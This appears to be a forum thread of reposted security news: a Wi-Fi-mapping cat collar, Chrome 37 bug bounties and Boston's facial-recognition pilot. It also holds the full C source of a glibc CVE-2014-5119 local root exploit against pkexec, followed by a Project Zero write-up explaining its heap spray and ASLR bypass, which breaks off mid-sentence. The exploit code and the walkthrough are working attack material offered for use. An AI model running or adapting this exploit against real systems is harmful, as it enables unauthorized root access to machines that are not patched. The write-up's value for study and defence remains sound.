[h=2]How your cat could be used to hack neighbors' Wi-Fi[/h]Wednesday - 8/13/2014, 8:50am ET By Neal Augenstein WASHINGTON -- Coco looks and acts like a cat -- and hackers could exploit that. Gene Bransfield, a principal security engineer at Tenacity Solutions, Inc., in Reston, Virginia, outfitted the Siamese cat with a custom-made collar that mapped dozens of neighbors' Wi-Fi networks. As reported in Wired, Bransfield outfitted a cat collar with a Spark Core chip loaded with his custom-coded firmware, a Wi-Fi card, a tiny GPS module, and a battery. The customized collar allowed Bransfield to map all the Wi-Fi networks in the neighborhood, which could also be done by a home intruder or a person intent on stealing a home's Wi-Fi. The project was jokingly entitled "War Kitteh," and Branfield's presentation at last weekend's DefCon hacker conference in Las Vegas was entitled "How to Weaponize Your Pets." Bransfield says his goal wasn't to create dangerous house pets, but to make users aware of privacy issues and entertain the group's hacker audience. "My intent was not to show people where to get free Wi-Fi," says Bransfield, "but the result of this cat research was that there were a lot more open and WEP- encrypted hot spots out there than there should be in 2014." [h=3]Updating an old hacking technique[/h] In the 1980s, hackers looked for unprotected computers by "wardialing" -- cycling through numbers with their modems. After the advent of Wi-Fi, "wardriving" saw hackers attaching an antenna to a car and driving through the city looking for weak and unprotected networks. Bransfield says he built the "War Kitteh" collar for less than $100, and it became easier in the past months, when the Spark Core chip became easier to program, Wired reports. Bransfield doesn't own a cat. Coco is his wife's grandmother's cat. In a three-hour walk through the neighborhood, Coco found 23 Wi-Fi hot spots, more than one-third of which were open to snoops with the simpler-to-crack WEP instead of the more modern WPA encryption. Bransfield says many of the WEP connections were Verizon FiOS routers with their default settings left unchanged. Sursa: How your cat could be used to hack neighbors' Wi-Fi - WTOP.com
-
[h=1]Critical Bug Combo in New Google Chrome 37 Stable Earns Researcher $30,000 (€22,750)[/h] August 26th, 2014, 20:59 GMT · By Ionut Ilascu Google promoted its Chrome browser to a new stable revision, 37.0.2062.94, which integrates a total of 50 security fixes, and one of the bug hunters received a $30,000 / €22,750 reward for disclosing a combination of vulnerabilities that led to remote code execution outside the sandbox. The bug hunter, identified as lokihardt@asrt, found glitches in V8, Chrome’s JavaScript engine, the Inter-process Communication (IPC), the data synchronization component and extensions, which combined provided a potential attacker the possibility to run arbitrary code on the targeted machine. Apart from this reward, Google also paid $13,000 / €9,850 to other researchers, for use-after-free vulnerabilities in DOM, SVG and bindings, spoofing of the extension permission dialog, uninitialized memory read in WebGL and Web Audio, and for an issue related to extension debugging. An additional $8,000 / €6,065 was paid by the company to researchers that worked with the Chrome development team on making sure that some security bugs never made it to the stable version of the web browser. Google’s own security team also discovered glitches based on internal audits, fuzzing and other types of activities. Address Sanitizer tool, a memory error detection utility, was used for the discovery of many of the security bugs fixed in this revision. Sursa: Critical Bug Combo in New Google Chrome 37 Stable Earns Researcher $30,000 (€22,750)
-
Beantown's Big Brother: How Boston Police Used Facial Recognition Technology to Spy on Thousands of Music Festival Attendees Longreads Or Whatever By Luke O'Neil Although we look back on it now through a mournful or angry lens, it's easy to forget just how downright disorienting the days and weeks following the Boston Marathon bombing in April of 2013 were. Adding to the surrealism of the drama for me was a night spent on lockdown in my Watertown home while the gun fight between authorities and the alleged bomber raged on blocks away, and the intrusion of heavily armed law enforcement trampling through my front yard during the next morning's manhunt. For weeks after in the city, riding the subway or at any sort of big event, a sense of unease would sneak up on me from time to time when I realized just how easy it would be for something like the bombing to happen again. You might forgive someone attending the Boston Calling music festival at Government Center about a month later, a now twice-yearly, extremely successful event, for feeling somewhat apprehensive. It was, after all, the first large gathering of thousands of spectators since the bombing. But, as a recent investigation published in the alt-weekly Dig Boston has uncovered, perhaps concertgoers like myself needn't have worried so much; after all, the city was watching our every movement. I remarked at the time, in writing reviews of the concert in May, as well as on the follow up that took place in September, just how refreshing it was to experience a large-scale music festival like this in the heart of the city without an overbearing security presence. Yes, there were bag checks, and police stationed throughout, but at nowhere near the high-alert style numbers you might have expected. Instead of feeling unsafe, the resumption of something resembling normal life without an overreactive militarized-style doubling-down was liberating. It felt like the city was treating us like adults, which, as anyone who's been to big concerts or sporting events around here will tell you, isn't necessarily the normal routine. As a music critic who typically avoids festivals at all costs, it was a big part of what made me able to enjoy myself at this one in particular. One of the reasons for a less physically imposing police presence may have been that the city was in the process of testing a pilot program for a massive facial recognition surveillance system on everyone at the concerts in both May and September. Using software provided by IBM that utilized existing security cameras throughout the area, the city tracked the thousands of attendees at the concert and in the vicinity, and filtered their appearance into data points which could then be cross-checked against certain identifying characteristics. And then... Well, what happens next is what makes this sort of thing so potentially troubling. Slides provided to me by the Dig's Chris Faraone show how the system was meant to work, with the software capable of distinguishing people by such characteristics as baldness, eyeglasses, skin tone, torso texture, and beards which, considering this was an indie rock concert may have overloaded their servers. The data would then be transmitted to a hub, where city representatives, Boston Police, and IBM support staff could watch in real time, all while simultaneously monitoring social media key words related to the event. The purpose, ostensibly, was being able to pick up on suspicious activity as it was happening, for example “alerting when a person loiters near a doorway as they would if trying to gain entrance,” the slides explain, or alerting of “attempts to climb perimeter barricade,” or an “abandoned object near barricade.” These seem like worthwhile things to be on the lookout for, but among the capabilities was one that seems particularly egregious and questionably necessary: “Face Capture of every person who approaches the door.” From IBM's Powerpoint document on facial recognition analytics. The Boston Police Department denied having had anything to do with the initiative, but images provided to me by Kenneth Lipp, the journalist who uncovered the files, show Boston police within the monitoring station being instructed on its use by IBM staff. The implementation of such a system so closely following the bombings may seem arguably justified, but it's important to remember just how much was made of facial recognition software's ineffectiveness when it came to identifying the bombers Tamerlan and Dzhokhar Tsarnaev themselves. Despite the fact that both men's images were captured on security cameras on the day of the bombing, and that their identities were known to law enforcement, technology was incapable of coming up with a match. “The technology came up empty even though both Tsarnaevs’ images exist in official databases: Dzhokhar had a Massachusetts driver’s license; the brothers had legally immigrated; and Tamerlan had been the subject of some FBI investigation,” the Washington Post reported at the time. Instead, it was traditional police work, eye witnesses, tips from people who recognized them and so on, that gave the police and federal agents the information they needed. So what made the city think things would be any different this time? The shortcomings of facial recognition software of the kind being tested out at Boston Calling, and implemented in other cities throughout the world, notably in New York City post-9/11 and everywhere throughout London, not to mention increasingly in retail stores throughout the country, are well documented. Too often, the images captured are rendered less effective by different facial expressions, facial hair, hats, the angle at which they were taken and so on. Face painting, interestingly, has also been shown to stymie cameras, something that might be a particular issue at music festivals like this one, where costume trappings have become standard. Surveillance footage, courtesy of Kenneth Lipp at Dig Boston. “This is definitely not the first time that government and private actors have worked together to use people attending an event like that as guinea pigs,” Kade Crockford the Director of the ACLU of Massachusetts Technology for Liberty Project told me. She likens the image capturing going on at the concerts here to a similar story uncovered by the The Intercept recently that showed 15 states, including Massachusetts, have been sharing driver’s license images and data with federal agencies to fill up their already massive terror database and watch lists. Despite the fact that the technology is still imperfect, most observers agree, there is going to come a point soon where it does work—a project in the works from researchers at Facebook has shown that it can match two facial images with 97.25 % accuracy, a fraction smaller than the normal human brain can do, for example. It's imperative we start worrying about what governments can and will do with that capability when the time comes. “It's going to get better and better. As it does, it's not just the FBI, CIA, and government agencies, but also every shopping mall you go into, potentially sports arenas,” Crockford says. “It's going to look a lot like dystopian scenes in the mall in the film Minority Report.” Like in so many other areas, the technology here is moving faster than the legislature and the courts. “We really need to get a handle on what exactly government agencies are doing. Not just thinking about it, but actually acting on public concerns about how this technology is going to be used against us, and actually passing laws that restrict some of the ways.” It's important to point out that none of this would've even come to light if not for the sleuthing of the reporters at the Dig, including Lipp, who stumbled across the IBM documents and agreements with the City of Boston on how to implement the software on an unsecured server left out in the open by an IBM employee. He's found similar troves of information regarding programs like these in Chicago and New York City, and evidence of IBM instituting similar programs in Scotland, Israel, Puerto Rico, Pakistan, and New Jersey. “In the case of Boston, what's very concerning is how recklessly they tested something on the public carte blanche, predicated on this Never Forget thing, post-9/11 thing,” Lipp says. “The really disturbing thing to me is that all of us this is being ushered in under the umbrella of Smart Cities. What it means to me is cities using integrated surveillance, having tech partners that establish themselves as contractors in the city by putting their hardware in the infrastructure. Once they have infrastructure in place, they can apply any of the software they want to it.” When reached for comment, Boston Calling explained their involvement with the program: "City of Boston public safety officials contacted us in advance of our May 2013 festival to tell us they would be testing a new surveillance system as an extra safety measure. Boston Calling Music Festival was not involved in the implementation of the program. Our practice is to comply with all public safety initiatives the city chooses to implement. Fan safety is our number one priority." In the demonstration for Boston there were “only” 13 cameras used, but there were 200 they could have brought online. Even worse is what happened to the data after the project was complete. The mayor's office, who haven't responded to my requests for comment, released a statement admitting to the program. (The program was conducted under former mayor Tom Menino's administration, not recently elected Martin Walsh). The idea is simple logistics, they say. Nothing to worry about here. “The purpose of the pilot was to evaluate software that could make it easier for the City to host large, public events, looking at challenges such as permitting, basic services, crowd and traffic management, public safety, and citizen engagement through social media and other channels. These were technology demonstrations utilizing pre-existing hardware (cameras) and data storage systems,” it read in part. “The City of Boston did not pursue long-term use of this software or enter into a contract to utilize this software on a permanent basis,” it goes on. But, it says, they remain open to the potential for other similar situations. Among their concerns, they say, are legal and privacy issues. Oh, you think? Demo of IBM software detecting person of interest. Even those who might not begrudge a city for keeping an alert eye on a big event like a music festival, particularly coming on the heels of a terrorist attack, can likely agree that it's what happens with the data after it's been determined to be of no use. You don't have to be overly paranoid to suspect, as we've seen with the NSA revelations uncovered by Edward Snowden, that once data is collected, it isn't often deleted. In fact, Lipp says, he was able to uncover 70 hours of footage from the concert still online up until last week when they published their story. Similarly, he's easily found his way into lightly secured reams of documents that include Boston parking permit info, including drivers’ licenses, addresses, and other data, kept online on unsecured FTP servers. “If I were a different kind of actor, a malicious state actor, I could pose a significant threat to the people of Boston because of what I have in the folder.” “It's an astounding level of stupidity as far as IBM's control over the data,” Crockford says. “When we're talking about numerous government agencies having access to this, as well as corporations, whether they're contractors, or ones that sit next to police officers at so-called fusion centers, we really have to be concerned. How many people have access to this server on which all this data sits?” It's not as if law enforcement in Boston has shown the best judgment when it comes to the type of people being observed. Earlier this summer, over a thousand pages of notes compiled by the Boston Regional Intelligence Center on the activities of Occupy Boston members were uncovered, including absurdly minute details such as the comings and goings of local bands, down to the ticket prices of shows. You may also recall when authorities in Boston were going undercover online pretending to be punk rock fans in order to smoke out the locations of DIY house shows, or “concerts.” Even worse, all of this was done in secret. “The city did nothing to disclose this, there were no city council hearings to ask whether it should be done,” Crockford says of the facial recognition tests. “It's perfectly demonstrative of how surveillance policy manifests with government agencies deciding behind closed doors to spend a lot of money spying on innocent people, and nobody is told about it.” It's enough to make one wonder what else is going on that we don't know about. Personally, I can't help but be curious how many times I showed up on the cameras myself at the concerts, moving throughout the grounds. Did they watch me dancing to Passion Pit, or swooning to Marina and the Diamonds? And for what? What is it that made me and everyone else there a person of interest to the city of Boston other than our desire to come together with the rest of the city to enjoy a day of music? Following a few of the worst days in this city's history, we were treated to one of the funner ones of the year at Boston Calling, but the fact that we were all being spied on at the time has spoiled my memory of even that. It's made all the worse because a big reason why we go to concerts in the first place is to be able to divest ourselves of our identities, to lose ourselves, literally and figuratively speaking, in the throng of the crowd. That's starting to see less possible every passing day. Luke O'Neil is on Twitter, where his tweets are being monitored. - @lukeoneil47 Sursa: Beantown's Big Brother: How Boston Police Used Facial Recognition Technology to Spy on Thousands of Music Festival Attendees | NOISEY
-
[h=1]glibc Off-by-One NUL Byte gconv_translit_find Exploit[/h] //// Full Exploit: http://www.exploit-db.com/sploits/CVE-2014-5119.tar.gz // // // --------------------------------------------------- // CVE-2014-5119 glibc __gconv_translit_find() exploit // ------------------------ taviso & scarybeasts ----- // // Tavis Ormandy <taviso@cmpxhg8b.com> // Chris Evans <scarybeasts@gmail.com> // // Monday 25th August, 2014 // #define _GNU_SOURCE #include <err.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <dlfcn.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <assert.h> #include <stdarg.h> #include <stddef.h> #include <signal.h> #include <string.h> #include <termios.h> #include <stdbool.h> #include <sys/user.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/utsname.h> #include <sys/resource.h> // Minimal environment to trigger corruption in __gconv_translit_find(). static char * const kCorruptCharsetEnviron[] = { "CHARSET=//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", NULL, }; static const struct rlimit kRlimMax = { .rlim_cur = RLIM_INFINITY, .rlim_max = RLIM_INFINITY, }; static const struct rlimit kRlimMin = { .rlim_cur = 1, .rlim_max = 1, }; // A malloc chunk header. typedef struct { size_t prev_size; size_t size; uintptr_t fd; uintptr_t bk; uintptr_t fd_nextsize; uintptr_t bk_nextsize; } mchunk_t; // A tls_dtor_list node. typedef struct { uintptr_t func; uintptr_t obj; uintptr_t map; uintptr_t next; } dlist_t; // The known_trans structure glibc uses for transliteration modules. typedef struct { uint8_t info[32]; char *fname; void *handle; int open_count; } known_t; enum { LOG_DEBUG, LOG_WARN, LOG_ERROR, LOG_FATAL, }; // Round up an integer to the next PAGE_SIZE boundary. static inline uintptr_t next_page_size(uintptr_t size) { return (size + PAGE_SIZE - 1) & PAGE_MASK; } // Allocate a buffer of specified length, starting with s, containing c, terminated with t. static void * alloc_repeated_string(size_t length, int s, int c, int t) { return memset(memset(memset(malloc(length), t, length), c, length - 1), s, 1); } static void logmessage(int level, const char * format, ...) { va_list ap; switch (level) { case LOG_DEBUG: fprintf(stderr, " [*] "); break; case LOG_WARN: fprintf(stderr, " [*] "); break; case LOG_ERROR: fprintf(stderr, "[!] "); break; } va_start(ap, format); vfprintf(stderr, format, ap); va_end(ap); fputc('\n', stderr); if (level == LOG_ERROR) { _exit(EXIT_FAILURE); } } // Parse a libc malloc assertion message to extract useful pointers. // // Note, this isn't to defeat ASLR, it just makes it more portable across // different system configurations. ASLR is already nullified using rlimits, // although technically even that isn't necessary. static int parse_fatal_error(uintptr_t *chunkptr, uintptr_t *baseaddr, uintptr_t *bssaddr, uintptr_t *libcaddr) { FILE *pty; char *mallocerror; char *memorymap; char *line; char *prev; char message[1 << 14]; char *anon = NULL; char r, w, x, s; ssize_t count; int status; uintptr_t mapstart; uintptr_t mapend; // Unfortunately, glibc writes it's error messaged to /dev/tty. This cannot // be changed in setuid programs, so this wrapper catches tty output. while (true) { // Reset any previous output. memset(message, 0, sizeof message); logmessage(LOG_DEBUG, "Attempting to invoke pseudo-pty helper (this will take a few seconds)..."); if ((pty = popen("./pty", "r")) == NULL) { logmessage(LOG_ERROR, "failed to execute pseudo-pty helper utility, cannot continue"); } if ((count = fread(message, 1, sizeof message, pty)) <= 0) { logmessage(LOG_ERROR, "failed to read output from pseudo-pty helper, %d (%m)", count, message); } logmessage(LOG_DEBUG, "Read %u bytes of output from pseudo-pty helper, parsing...", count); pclose(pty); mallocerror = strstr(message, "corrupted double-linked list"); memorymap = strstr(message, "======= Memory map: ========"); // Unfortunately this isn't reliable, keep trying until it works. if (mallocerror == NULL || memorymap == NULL) { logmessage(LOG_WARN, "expected output missing (this is normal), trying again..."); continue; } logmessage(LOG_DEBUG, "pseudo-pty helper succeeded"); break; } *baseaddr = 0; *chunkptr = 0; *bssaddr = 0; *libcaddr = 0; logmessage(LOG_DEBUG, "attempting to parse libc fatal error message..."); // Verify this is a message we understand. if (!mallocerror || !memorymap) { logmessage(LOG_ERROR, "unable to locate required error messages in crash dump"); } // First, find the chunk pointer that malloc doesn't like if (sscanf(mallocerror, "corrupted double-linked list: %p ***", chunkptr) != 1) { logmessage(LOG_ERROR, "having trouble parsing this error message: %.20s", mallocerror); }; logmessage(LOG_DEBUG, "discovered chunk pointer from `%.20s...`, => %p", mallocerror, *chunkptr); logmessage(LOG_DEBUG, "attempting to parse the libc maps dump..."); // Second, parse maps. for (prev = line = memorymap; line = strtok(line, "\n"); prev = line, line = NULL) { char filename[32]; // Reset filename. memset(filename, 0, sizeof filename); // Just ignore the banner printed by glibc. if (strcmp(line, "======= Memory map: ========") == 0) { continue; } if (sscanf(line, "%08x-%08x %c%c%c%c %*8x %*s %*u %31s", &mapstart, &mapend, &r, &w, &x, &s, filename) >= 1) { // Record the last seen anonymous map, in case the kernel didn't tag the heap. if (strlen(filename) == 0) { anon = line; } // If the kernel did tag the heap, then everything is easy. if (strcmp(filename, "[heap]") == 0) { logmessage(LOG_DEBUG, "successfully located first morecore chunk w/tag @%p", mapstart); *baseaddr = mapstart; } // If it didn't tag the heap, then we need the anonymous chunk before the stack. if (strcmp(filename, "[stack]") == 0 && !*baseaddr) { logmessage(LOG_WARN, "no [heap] tag was found, using heuristic..."); if (sscanf(anon, "%08x-%*08x %*c%*c%*c%*c %*8x %*s %*u %31s", baseaddr, filename) < 1) { logmessage(LOG_ERROR, "expected to find heap location in line `%s`, but failed", anon); } logmessage(LOG_DEBUG, "located first morecore chunk w/o tag@%p", *baseaddr); } if (strcmp(filename, "/usr/lib/libc-2.18.so") == 0 && x == 'x') { logmessage(LOG_DEBUG, "found libc.so mapped @%p", mapstart); *libcaddr = mapstart; } // Try to find libc bss. if (strlen(filename) == 0 && mapend - mapstart == 0x102000) { logmessage(LOG_DEBUG, "expecting libc.so bss to begin at %p", mapstart); *bssaddr = mapstart; } continue; } logmessage(LOG_ERROR, "unable to parse maps line `%s`, quiting", line); break; } return (*chunkptr == 0 || *baseaddr == 0 || *bssaddr == 0 || *libcaddr == 0) ? 1 : 0; } static const size_t heap_chunk_start = 0x506c8008; static const size_t heap_chunk_end = 0x506c8008 + (2 * 1024 * 1024); static const size_t nstrings = 15840000; // The offset into libc-2.18.so BSS of tls_dtor_list. static const uintptr_t kTlsDtorListOffset = 0x12d4; // The DSO we want to load as euid 0. static const char kExploitDso[] = "./exploit.so"; int main(int argc, const char* argv[]) { uintptr_t baseaddr; uintptr_t chunkptr; uintptr_t bssaddr; uintptr_t libcaddr; uint8_t *param; char **args; dlist_t *chain; struct utsname ubuf; // Look up host type. if (uname(&ubuf) != 0) { logmessage(LOG_ERROR, "failed to query kernel information"); } logmessage(LOG_DEBUG, "---------------------------------------------------"); logmessage(LOG_DEBUG, "CVE-2014-5119 glibc __gconv_translit_find() exploit"); logmessage(LOG_DEBUG, "------------------------ taviso & scarybeasts -----"); // Print some warning that this isn't going to work on Ubuntu. if (access("/etc/fedora-release", F_OK) != 0 || strcmp(ubuf.machine, "i686") != 0) logmessage(LOG_WARN, "This proof of concept is designed for 32 bit Fedora 20"); // Extract some useful pointers from glibc error output. if (parse_fatal_error(&chunkptr, &baseaddr, &bssaddr, &libcaddr) != 0) { logmessage(LOG_ERROR, "unable to parse libc fatal error message, please try again."); } logmessage(LOG_DEBUG, "allocating space for argument structure..."); // This number of "-u" arguments is used to spray the heap. // Each value is a 59-byte string, leading to a 64-byte heap chunk, leading to a stable heap pattern. // The value is just large enough to usuaully crash the heap into the stack without going OOM. if ((args = malloc(((nstrings * 2 + 3) * sizeof(char *)))) == NULL) { logmessage(LOG_ERROR, "allocating argument structure failed"); } logmessage(LOG_DEBUG, "creating command string..."); args[nstrings * 2 + 1] = alloc_repeated_string(471, '/', 1, 0); args[nstrings * 2 + 2] = NULL; logmessage(LOG_DEBUG, "creating a tls_dtor_list node..."); // The length 59 is chosen to cause a 64byte allocation by stdrup. That is // a 60 byte nul-terminated string, followed by 4 bytes of metadata. param = alloc_repeated_string(59, 'A', 'A', 0); chain = (void *) param; logmessage(LOG_DEBUG, "open_translit() symbol will be at %p", libcaddr + _OPEN_TRANSLIT_OFF); logmessage(LOG_DEBUG, "offsetof(struct known_trans, fname) => %u", offsetof(known_t, fname)); chain->func = libcaddr + _OPEN_TRANSLIT_OFF; chain->obj = baseaddr + 8 + sizeof(*chain) - 4 - offsetof(known_t, fname); chain->map = baseaddr + 8 + sizeof(*chain); chain->next = baseaddr + 8 + 59 - strlen(kExploitDso); logmessage(LOG_DEBUG, "appending `%s` to list node", kExploitDso); memcpy(param + 59 - strlen(kExploitDso), kExploitDso, 12); logmessage(LOG_DEBUG, "building parameter list..."); for (int i = 0; i < nstrings; ++i) { args[i*2 + 1] = "-u"; args[i*2 + 2] = (void *) chain; } // Verify we didn't sneak in a NUL. assert(memchr(chain, 0, sizeof(chain)) == NULL); logmessage(LOG_DEBUG, "anticipating tls_dtor_list to be at %p", bssaddr + kTlsDtorListOffset); // Spam all of possible chunks (some are unfortunately missed). for (int i = 0; true; i++) { uintptr_t chunksize = 64; uintptr_t chunkaddr = baseaddr + i * chunksize; uintptr_t targetpageoffset = chunkptr & ~PAGE_MASK; uintptr_t chunkpageoffset = PAGE_MASK; uintptr_t mmapbase = 31804 + ((0xFD8 - targetpageoffset) / 32); uint8_t *param = NULL; mchunk_t chunk = { .prev_size = 0xCCCCCCCC, .size = 0xDDDDDDDD, .fd_nextsize = bssaddr + kTlsDtorListOffset - 0x14, .bk_nextsize = baseaddr + 8, }; // Compensate for heap metadata every 1MB of allocations. chunkaddr += 8 + (i / (1024 * 1024 / chunksize - 1) * chunksize); if (chunkaddr < heap_chunk_start) continue; if (chunkaddr > heap_chunk_end) break; chunkpageoffset = chunkaddr & ~PAGE_MASK; if (chunkpageoffset > targetpageoffset) { continue; } if (targetpageoffset - chunkpageoffset > chunksize) { continue; } // Looks like this will fit, compensate the pointers for alignment. chunk.fd = chunk.bk = chunkaddr + (targetpageoffset - chunkpageoffset); if (memchr(&chunk, 0, sizeof chunk)) { logmessage(LOG_WARN, "parameter %u would contain a nul, skipping", i); continue; } args[mmapbase + i * 2] = param = alloc_repeated_string(60, 'A', 'A', 0); memcpy(param + (targetpageoffset - chunkpageoffset), &chunk, sizeof chunk); } setrlimit(RLIMIT_STACK, &kRlimMax); setrlimit(RLIMIT_DATA, &kRlimMin); args[0] = "pkexec"; logmessage(LOG_DEBUG, "execvpe(%s...)...", args[0]); execvpe("pkexec", args, kCorruptCharsetEnviron); } Sursa: glibc Off-by-One NUL Byte gconv_translit_find Exploit
-
The poisoned NUL byte, 2014 edition Posted by Chris Evans, Exploit Writer Underling to Tavis Ormandy Back in this 1998 post to the Bugtraq mailing list, Olaf Kirch outlined an attack he called “The poisoned NUL byte”. It was an off-by-one error leading to writing a NUL byte outside the bounds of the current stack frame. On i386 systems, this would clobber the least significant byte (LSB) of the “saved %ebp”, leading eventually to code execution. Back at the time, people were surprised and horrified that such a minor error and corruption could lead to the compromise of a process. Fast forward to 2014. Well over a month ago, Tavis Ormandy of Project Zero disclosed a glibc NUL byte off-by-one overwrite into the heap. Initial reaction was skepticism about the exploitability of the bug, on account of the malloc metadata hardening in glibc. In situations like this, the Project Zero culture is to sometimes “wargame” the situation. geohot quickly coded up a challenge and we were able to gain code execution. Details are captured in our public bug. This bug contains analysis of a few different possibilities arising from an off-by-one NUL overwrite, a solution to the wargame (with comments), and of course a couple of different variants of a full exploit (with comments) for a local Linux privilege escalation. Inspired by the success of the wargame, I decided to try and exploit a real piece of software. I chose the “pkexec” setuid binary as used by Tavis to demonstrate the bug. The goal is to attain root privilege escalation. Outside of the wargame environment, it turns out that there are a series of very onerous constraints that make exploitation hard. I did manage to get an exploit working, though, so read on to see how. Step 1: Choose a target distribution I decided to develop against Fedora 20, 32-bit edition. Why the 32-bit edition? I’m not going to lie: I wanted to give myself a break. I was expecting this to be pretty hard so going after the problem in the 32-bit space gives us just a few more options in our trusty exploitation toolkit. Why Fedora and not, say, Ubuntu? Both ship pkexec by default. Amusingly, Ubuntu has deployed the fiendish mitigation called the “even path prefix length” mitigation. Kudos! More seriously, there is a malloc() that is key to the exploit, in gconv_trans.c:__gconv_translit_find(): newp = (struct known_trans *) malloc (sizeof (struct known_trans) + (__gconv_max_path_elem_len + name_len + 3) + name_len); If __gconv_max_path_elem_len is even, then the malloc() size will be odd. An odd malloc() size will always result in an off-by-one off the end being harmless, due to malloc() minimum alignment being sizeof(void*). On Fedora, __gconv_max_path_elem_len is odd due to the value being /usr/lib/gconv/ (15) or /usr/lib64/gconv/ (17). There are various unexplored avenues to try and influence this value on Ubuntu but for now we choose to proceed on Fedora. Step 2: Bypass ASLR Let’s face it, ASLR is a headache. On Fedora 32-bit, the pkexec image, the heap and the stack are all randomized, including relative to each other, e.g.: b772e000-b7733000 r-xp 00000000 fd:01 4650 /usr/bin/pkexec b8e56000-b8e77000 rw-p 00000000 00:00 0 [heap] bfbda000-bfbfb000 rw-p 00000000 00:00 0 [stack] There is often a way to defeat ASLR, but as followers of the path of least resistance, what if we could just bypass it altogether? Well, what happens if we run pkexec again after running the shell commands ulimit -s unlimited and ulimit -d 1 ? These altered limits to stack and data sizes are inherited across processes, even setuid ones: 40000000-40005000 r-xp 00000000 fd:01 9909 /usr/bin/pkexec 406b9000-407bb000 rw-p 00000000 00:00 0 /* mmap() heap */ bfce5000-bfd06000 rw-p 00000000 00:00 0 [stack] This is much better. The pkexec image and libraries, as well as the heap, are now in static locations. The stack still moves around, with about 8MB variation (or 11 bits of entropy if you prefer), but we already know static locations for both code and data without needing to know the exact location of the stack. (For those curious about the effect of these ulimits on 64-bit ASLR, the situation isn’t as bad there. The binary locations remain well randomized. The data size trick is still very useful, though: the heap goes from a random location relative to the binary, to a static offset relative to the binary. This represents a significant reduction in entropy for some brute-force scenarios.) Step 3: Massage the heap using just command line arguments and the environment After significant experimentation, our main heap massaging primitive is to call pkexec with a path comprising of ‘/’ followed by 469 ‘1’ characters. This path does not exist, so an error message including this path is built. The eventual error message string is a 508-byte allocation, occupying a 512-byte heap chunk on account of 4 bytes of heap metadata. The error message is built using an algorithm that starts with a 100-byte allocation. If the allocation is not large enough, it is doubled in size, plus 100 bytes, and the old allocation is freed after a suitable copy. The final allocation is shrunk to precise size using realloc. Running the full sequence through for our 508-byte string, we see the following heap API calls: malloc(100), malloc(300), free(100), malloc(700), free(300), realloc(508) By the time we get to this sequence, we’ve filled up all the heap “holes” so that these allocations occur at the end of the heap, leading to this heap layout at the end of the heap (where “m” means metadata and a red value shows where the corruption will occur): | free space: 100 |m| free space: 300 |m| error message: 508 bytes | In fact, the heap algorithm will have coalesced the 100 and 300 bytes of free space. Next, the program proceeds to consider character set conversion for the error message. This is where the actual NUL byte heap overflows occurs, due to our CHARSET=//AAAAA… environment variable. Leading up to this, a few small allocations outside of our control occur. That’s fine; they stack up at the beginning of the coalesced free space. An allocation based on our CHARSET environment variable now occurs. We choose the number of A’s in our value to cause an allocation of precisely 236 bytes, which perfectly fills the remaining space in the 400 bytes of free space. The situation now looks like this: | blah |m| blah |m| charset derived value: 236 bytes |m: 0x00000201| error message: 508 bytes | The off-by-one NUL byte heap corruption now occurs. It will clobber the LSB of the metadata word that precedes the error message allocation. The format of metadata is a size word, with a couple of flags in the two least significant bits. The flag 0x1, which is set, indicates that the previous buffer, the charset derived value, is in use. The size is 0x200, or 512 bytes. This size represents the 508 bytes of the following allocation plus 4 bytes of metadata. The size and flag values at this time are very specifically chosen so that the single NUL byte overflow only has the effect of clearing the 0x1 in use flag. The size is unchanged, which is important later when we need to not break forward coalescing during free(). Step 4: Despair The fireworks kick off when the error message is freed as the program exits. We have corrupted the preceding metadata to make it look like the previous heap chunk is free when in fact it is not. Since the previous chunk looks free, the malloc code attempts to coalesce it with the current chunk being freed. When a chunk is free, the last 4 bytes represent the size of the free chunk. But the chunk is not really free; so what does it contain as its last 4 bytes? Those bytes will be interpreted as a size. It turns out that as an attacker, we have zero control over these last 4 bytes: they are always 0x6f732e00, or the string “.so” preceded by a NUL byte. Obviously, this is a very large size. And unfortunately it is used as an index backwards in memory in order to find the chunk header structure for the previous chunk. Since our heap is in the 0x40000000 range, subtracting 0x6f732e00 ends us up in the 0xd0000000 range. This address is in kernel space so when we dereference it as a chunk header structure, we get a crash and our exploitation dreams go up in smoke. At this juncture, we consider alternate heap metadata corruption situations, in the hope we will find a situation where we have more control: Forward coalescing of free heap chunks. If we cause the same corruption as described above, but arrange to free the chunk preceding the overflowed chunk, we follow a different code path. It results in the beginning of the 236-byte allocation being treated as a pair of freelist pointers for a linked list operation. This sounds initially promising, but again, we do not seem to have full control over the these values. In particular, the second freelist pointer comes out as NULL (guaranteed crash) and it is not immediately obvious how to overlap a non-NULL value there. Overflowing into a free chunk. This opens up a whole range of possibilities. Unfortunately, our overflow is a NUL byte so we can only make free chunks smaller and not bigger, which is a less powerful primitive. But we can again cause confusion as to the location of heap metadata headers. See “shrink_free_hole_consolidate_backward.c” in our public bug. Again, we are frustrated because we do not have obvious control over the first bytes of any malloc() object that might get placed into the free chunk after we have corrupted the following length. Overflowing into a free chunk and later causing multiple pointers to point to the same memory. This powerful technique is covered in “shrink_free_hole_alloc_overlap_consolidate_backward.c” in our public bug. I didn’t investigate this path because the required precise sequence of heap operations did not seem readily possible. Also, the memory corruption occurs after the process has hit an error and is heading towards exit(), so taking advantage of pointers to overlapping memory will be hard. At this stage, things are looking bad for exploitation. Step 5: Aha! use a command-line argument spray to effect a heap spray and collide the heap into the stack The breakthrough to escape the despair of step 4 comes when we discover a memory leak in the pkexec program; from pkexec.c: else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0) { n++; if (n >= (guint) argc) { usage (argc, argv); goto out; } opt_user = g_strdup (argv[n]); } This is very useful! If we specify multiple “-u” command line arguments, then we will spray the heap, because setting a new opt_user value does not consider freeing the old one. Furthermore, we observe that modern Linux kernels permit a very large number of command-line arguments to be passed via execve(), with each one able to be up to 32 pages long. We opt to pass a very large number (15 million+) of “-u” command line argument values, each a string of 59 bytes in length. 59 bytes plus a NUL terminator is a 60 byte allocation, which ends up being a 64 byte heap chunk when we include metadata. This number is important later. The effect of all these command line arguments is to bloat both the stack (which grows down) and the heap (which grows up) until they crash into each other. In response to this collision, the next heap allocations actually go above the stack, in the small space between the upper address of the stack and the kernel space at 0xc0000000. We use just enough command line arguments so that we hit this collision, and allocate heap space above the stack, but do not quite run out of virtual 